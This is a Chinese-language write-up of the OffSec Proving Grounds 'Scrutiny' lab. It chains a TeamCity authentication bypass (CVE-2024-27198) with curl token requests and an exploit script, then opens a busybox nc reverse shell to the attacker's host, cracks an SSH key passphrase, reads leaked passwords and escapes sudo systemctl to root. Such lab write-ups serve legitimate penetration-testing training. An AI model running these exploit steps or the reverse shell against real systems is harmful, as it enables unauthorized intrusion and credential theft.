本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
Scrutiny
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
子域名枚举 –> TeamCity 权限绕过创建用户 –> 创建 token,开启调试模式,执行反弹 shell –> git 用户权限 –> 用户旗帜
权限提升:
TeamCity 后台用户项目日志泄露私钥文件 –> marcot 用户权限 –> marcot 邮件泄露密码 –> matthewa 用户权限 –> matthewa 遗留文件泄露密码 –> briand 用户权限 –> systemctl sudo 权限 –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 192.168.139.91 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 443/tcp closed https
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| sudo nmap -p22,25,80,443 -sCV 192.168.139.91
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA) | 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA) |_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519) 25/tcp open smtp Postfix smtpd |_ssl-date: TLS randomness does not represent time |_smtp-commands: onlyrands.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=onlyrands.com | Subject Alternative Name: DNS:onlyrands.com | Not valid before: 2024-06-07T09:33:24 |_Not valid after: 2034-06-05T09:33:24 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: OnlyRands |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp closed https Service Info: Host: onlyrands.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH、SMTP 服务。
3.2 渗透测试突破边界
3.2.1 TeamCity 权限绕过,创建用户并利用端点调试进行 RCE
访问靶机 HTTP 80 端口,在页面最下方发现域名信息,将其添加至本地域名解析。


1
| echo "192.168.139.91\tonlyrands.com" | sudo tee -a /etc/hosts
|
对网站进行目录枚举、信息搜集均未发现有价值信息,使用 ffuf 工具子域名枚举,得到了 teams 子域。
1
| ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://onlyrands.com/" -H "host: FUZZ.onlyrands.com" -fs 23375
|

将子域添加至本地域名解析。
1
| echo "192.168.139.91\tteams.onlyrands.com" | sudo tee -a /etc/hosts
|
访问子域系统,在页面得知系统部署了 TeamCity 2023.05.4 应用。

检索 TeamCity 历史漏洞信息,发现当前版本存在身份验证绕过漏洞(CVE-2024-27198),注意: TeamCity 远程代码执行漏洞(CVE-2023-42793)在 TeamCity 2023.05.4 之前的版本存在,当前靶机环境不存在该漏洞。TeamCity 2023.11.4 之前的版本存在身份绕过漏洞,利用该漏洞可未授权创建用户和 token。
参考链接:
1 2 3 4 5 6 7 8
| https://www.exploit-db.com/exploits/51884
https://www.vicarius.io/vsociety/posts/teamcity-auth-bypass-to-rce-cve-2024-27198-and-cve-2024-27199
https://github.com/W01fh4cker/CVE-2024-27198-RCE
|


下载漏洞利用脚本:
1
| git clone https://github.com/W01fh4cker/CVE-2024-27198-RCE.git
|
执行漏洞利用脚本时会提示报错 rest.debug.processes.enable ,不过此时已经创建了用户。
1
| python3 CVE-2024-27198-RCE.py -t http://teams.onlyrands.com/
|

由于 TeamCity 应用默认关闭了端点调试,我们需要将其开启才能执行命令,在搜索引擎检索后,在如下链接可获取到帮助信息。
1
| https://0xdf.gitlab.io/2024/08/24/htb-runner.html
|
首先利用创建的用户获取一个 token,这里的 ID 修改为创建用户绑定的 ID。

1
| curl -s -X POST 'http://teams.onlyrands.com/any?jsp=/app/rest/users/id:21/tokens/new_token;.jsp'
|
然后通过 token 开启系统的端点调试,对于该靶场不进行刷新也会生效。

1
| curl -X POST 'http://teams.onlyrands.com/admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true' -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bUwtOUx5ZjJmT2FqMzd2S0d2WHdzVXpOaEUw.NDQ3ODhkYzMtMjRjNy00YjQ3LWIwYjktZjQzOTBlODRhYThi"
|

再次运行脚本即可使用 git 用户权限执行命令。

为了方便之后操作,创建反弹 shell,并升级为交互式。注意: 靶机存在防火墙规则,很多端口都不能出站,nmap 扫描发现系统 443 端口存在但处于 close 状态,利用该端口可执行反弹 shell。
1 2 3 4 5
| nc -lvnp 443
busybox nc 192.168.45.234 443 -e /bin/bash
|


3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Git 日志泄露 marcot 用户私钥
检索 TeamCity 后台项目变更日志时,在 Marco Tillman 的项目中发现了私钥文件。

点击私钥文件并将其下载至本地,注意: 不要忽略邮箱的用户名。

经过尝试无法在本地使用私钥进行连接,上传至靶机,再次连接提示需要输入私钥密码。
1
| ssh -i id_rsa marcot@127.0.0.1
|

使用 ssh2john 转换私钥格式,然后通过 john 工具进行破解,得到了私钥密码。
1 2
| ssh2john id_rsa > hash john hash --wordlist=~/Desktop/rockyou.txt
|

再次使用私钥连接,得到了 marcot 用户权限,注意: 需要连续输入两次密码。

3.3.2 Marcot 用户邮件泄露 matthewa 用户密码
靶机开放有 smtp 服务,并在/var/mail 目录发现大量用户邮件,marcot 用户邮件泄露了 matthewa 用户密码,并提示我们有一个礼物留给我(文件)。
1 2
| cd /var/mail/ cat marcot
|


使用 su 切换至 matthewa 用户 shell。

3.3.3 Matthewa 用户遗留文件泄露 briand 用户密码
使用 find 全局检索 matthewa 用户文件,发现在其家目录存在 .~ 文件,文件内容包含了名为 Dach 的用户密码。
1 2
| find / -user matthewa -type f 2>/dev/null cat /home/freelancers/matthewa/.~
|
检索/etc/passwd 文件中包含 dach 的用户,发现该用户的登录名为 briand。
1
| cat /etc/passwd | grep -i 'dach'
|

再次使用 su 切换至 briand 用户 shell。

3.3.4 Briand systemctl sudo 提权至 root
briand 用户可以 root 权限执行 systemctl 指令,利用该配置可提升至 root 权限。

进入服务状态页面,输入 !/bin/bash 得到了系统 root 权限 shell。
1
| sudo -u root /usr/bin/systemctl status teamcity-server.service
|

3.3.5 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨